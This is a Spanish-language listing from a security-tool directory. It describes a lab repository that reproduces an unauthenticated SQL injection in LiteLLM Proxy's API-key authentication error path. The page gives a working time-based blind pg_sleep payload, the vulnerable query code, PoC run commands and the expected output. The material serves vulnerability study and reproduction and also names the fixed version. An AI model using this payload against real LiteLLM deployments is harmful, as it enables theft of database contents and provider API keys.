Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/imjdl/cve-2026-42208_lab
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubimjdl/cve-2026-42208_lab

CVE-2026-42208_lab

Entorno de reproducción para una inyección SQL crítica en la autenticación de claves API de LiteLLM Proxy, con un PoC ciego basado en tiempo y configuración de Docker para pruebas.

Ver Repositorio
1hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Inyección SQL en LiteLLM Proxy (GHSA-r75f-5x8p-qvmc)

Un entorno de reproducción para la vulnerabilidad de inyección SQL en el flujo de autenticación de claves API de LiteLLM Proxy.

Resumen de la vulnerabilidad

ElementoDetalle
AvisoGHSA-r75f-5x8p-qvmc
TipoInyección SQL (CWE-89)
GravedadCrítica
Afectalitellm >=1.81.16, <1.83.7
Corregidolitellm >=1.83.7 (commit 4dc416ee74)

Ruta de ataque

La inyección ocurre en la ruta del callback de manejo de errores, no en el flujo principal de autenticación. Cuando se envía un token sin el prefijo sk-, la aserción falla y el token sin procesar (sin hash) fluye a través de la cadena de callbacks de fallo hacia una consulta SQL que utiliza interpolación de f-strings:

root@kitploit:~
HTTP request: Authorization: Bearer <payload>
  → assert api_key.startswith("sk-") falla
  → _handle_authentication_error(api_key=RAW_TOKEN)
  → post_call_failure_hook
  → _enrich_failure_metadata_with_key_info
  → get_key_object(hashed_token=RAW_TOKEN)
  → get_data(token=RAW_TOKEN, table_name="combined_view")
  → SQL: WHERE v.token = '{RAW_TOKEN}'  ← INYECCIÓN

La ruta principal de autenticación sk- no es explotable porque los tokens se someten a hash SHA256 antes de llegar a la consulta, produciendo solo caracteres [0-9a-f].

Reproducción

1. Iniciar el entorno vulnerable

root@kitploit:~
docker compose up -d

Esto inicia LiteLLM Proxy (v1.83.3-stable) con un backend PostgreSQL.

2. Ejecutar el PoC

root@kitploit:~
pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5

Salida esperada

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║   LiteLLM Proxy SQL Injection PoC                        ║
║   GHSA-r75f-5x8p-qvmc | CVE: Pending                    ║
║   Affected: litellm >=1.81.16, <1.83.7                  ║
║   Attack: time-based blind via error-handling callback    ║
╚═══════════════════════════════════════════════════════════╝

[*] Checking target: http://localhost:4000
[+] Target alive (status 200)

[*] Measuring baseline (3 requests)...
  Baseline avg: 0.022s

[*] Control: non-sk- token without pg_sleep...
  Control: 0.024s

=======================================================
  Time-based Blind SQL Injection (pg_sleep=5s)
=======================================================
  Payload: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
  Response: 5.018s

[+] VULNERABLE! pg_sleep(5) confirmed

Detalles técnicos

Construcción del payload

pg_sleep() de PostgreSQL devuelve void, que no puede aparecer en un contexto booleano (OR). El payload lo envuelve en una subconsulta para evitar el error de tipo:

root@kitploit:~
' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--

Esto se inyecta en la consulta combined_view en litellm/proxy/utils.py:

root@kitploit:~
# Código vulnerable (<=v1.83.3)
sql_query = f"""
    SELECT v.*, t.spend AS team_spend, ...
    FROM "LiteLLM_VerificationToken" AS v
    LEFT JOIN ...
    WHERE v.token = '{token}'   ← interpolación f-string de entrada del usuario
"""

Impacto

  • Sin autenticación — no se requiere una clave API válida
  • Acceso de lectura a la base de datos — extraer cualquier dato mediante inyección ciega (claves API, credenciales, configuración)
  • Todas las claves de proveedores de LLM gestionadas por el proxy están en riesgo

Referencias

  • Aviso de seguridad de GitHub
  • Commit de corrección 4dc416ee74
  • Informe de inteligencia de amenazas Sysdig TRT — se observó explotación en la naturaleza dentro de las 36 horas posteriores a la divulgación
Descargar herramienta